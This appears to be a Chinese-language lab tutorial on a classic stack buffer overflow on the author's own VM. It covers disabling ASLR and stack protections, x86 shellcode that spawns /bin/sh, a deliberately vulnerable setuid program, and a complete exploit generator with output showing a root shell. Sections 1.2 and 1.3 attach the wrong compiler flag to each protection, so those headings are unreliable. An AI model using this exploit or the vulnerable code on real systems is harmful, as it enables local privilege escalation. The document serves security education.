1. 准备工作
1.1 关闭地址随机化
damocles@damocles-Parallels-Virtual-Platform:~$ id
uid=1000(damocles) gid=1000(damocles) groups=1000(damocles),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
# 首先切换到root权限
damocles@damocles-Parallels-Virtual-Platform:~$ sudo su
[sudo] password for damocles:
root@damocles-Parallels-Virtual-Platform:/home/damocles# id
uid=0(root) gid=0(root) groups=0(root)
# 确认地址随机化是否被打开 2表示打开状态
root@damocles-Parallels-Virtual-Platform:/home/damocles# cat /proc/sys/kernel/randomize_va_space
2
# 关闭地址随机化
root@damocles-Parallels-Virtual-Platform:/home/damocles# echo 0 > /proc/sys/kernel/randomize_va_space
root@damocles-Parallels-Virtual-Platform:/home/damocles# cat /proc/sys/kernel/randomize_va_space
0
# 发现已经为0,表示地址随机化已经被关闭
1.2 关闭栈溢出保护
编译的时候加上指令-z execstack
关闭金丝雀(canary)技术
gcc -g hello.c -o hello -z execstack
1.3 关闭栈不可执行
编译的时候加上-fno-stack-protector
gcc -g hello.c -o hello -z execstack -fno-stack-protector
1.4 一个简单的shell代码
#include<stdio.h>
#include<unistd.h>
int main() {
execve("/bin/sh", NULL, NULL);
return 0;
}
函数定义
int execve(const char filename, char const argv[ ], char *const envp[ ]);
返回值
执行成功无返回值,执行失败返回-1.
函数说明
execve()用来执行参数filename字符串所代表的文件路径
第二个参数是利用数组指针来传递给执行文件,并且需要以空指针(NULL)结束
最后一个参数则为传递给执行文件的新环境变量数组。
上面代码使用的绝对路径
/bin/sh
不需要环境变量,如果使用相对路径则最后一个参数要指定环境变量
# 编译上述shell代码
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# gcc hello.c -z execstack -fno-stack-protector
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# ls
a.out hello.c
shellcode就是运行如下的shell:
# 执行文件就相当于执行力命令行'/bin/sh'
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# ./a.out
# whoami
root
#
# 等同于进入/bin下执行./.sh
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# cd /bin/
root@damocles-Parallels-Virtual-Platform:/bin# ./sh
# whoami
root
#
2. shellcode
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
2.1 shellcode如何运行
2.2 一个有缓冲区漏洞的程序
/* stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// 有漏洞的缓冲区
int bof(char *str)
{
char buffer[24];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
2.3 利用漏洞获取root权限
下面创建一个exploit.c
来创建一个badfile
文件
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// 弹出一个shell
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
// movl esp 到 eax中
// 函数返回值都是通过eax返回的,所以函数会返回esp指针也就是栈指针的值
// 栈指针指向栈顶
unsigned long get_sp()
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
// The NOP instruction does nothing. Execution continues with the next instruction
memset(&buffer, 0x90, 517);
long* addr_ptr,addr;
int offset = 200;
addr = get_sp() + offset;
addr_ptr = (long*)buffer;
// 32位系统 指针addr_ptr占4个字节,即以4个字节为单位移动
for(int i = 0;i<10;i++)
*(addr_ptr++) = addr;
memcpy(buffer+sizeof(buffer)-sizeof(shellcode),
shellcode,sizeof(shellcode));
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
执行漏洞代码:
# 非root下生成badfile
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ gcc exploit.c -std=c99
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ ls
a.out exploit.c
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ ./a.out
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ ls
a.out badfile exploit.c
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ cat badfile
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ sudo su
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod +s:在文件执行时把进程的属主或组ID置为该文件的文件属主。
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# chmod +s stack
root@damocles-Parallels-Virtual-Platform:/home/damocles/buffer-overflow# exit
exit
# 回到非root权限下,执行有漏洞的stack,可以看到
damocles@damocles-Parallels-Virtual-Platform:~/buffer-overflow$ ./stack
# ps
PID TTY TIME CMD
24883 pts/2 00:00:00 sh
24890 pts/2 00:00:00 ps
# whoami
root
#
来源
[1] ailx10的缓冲区溢出攻防
发表评论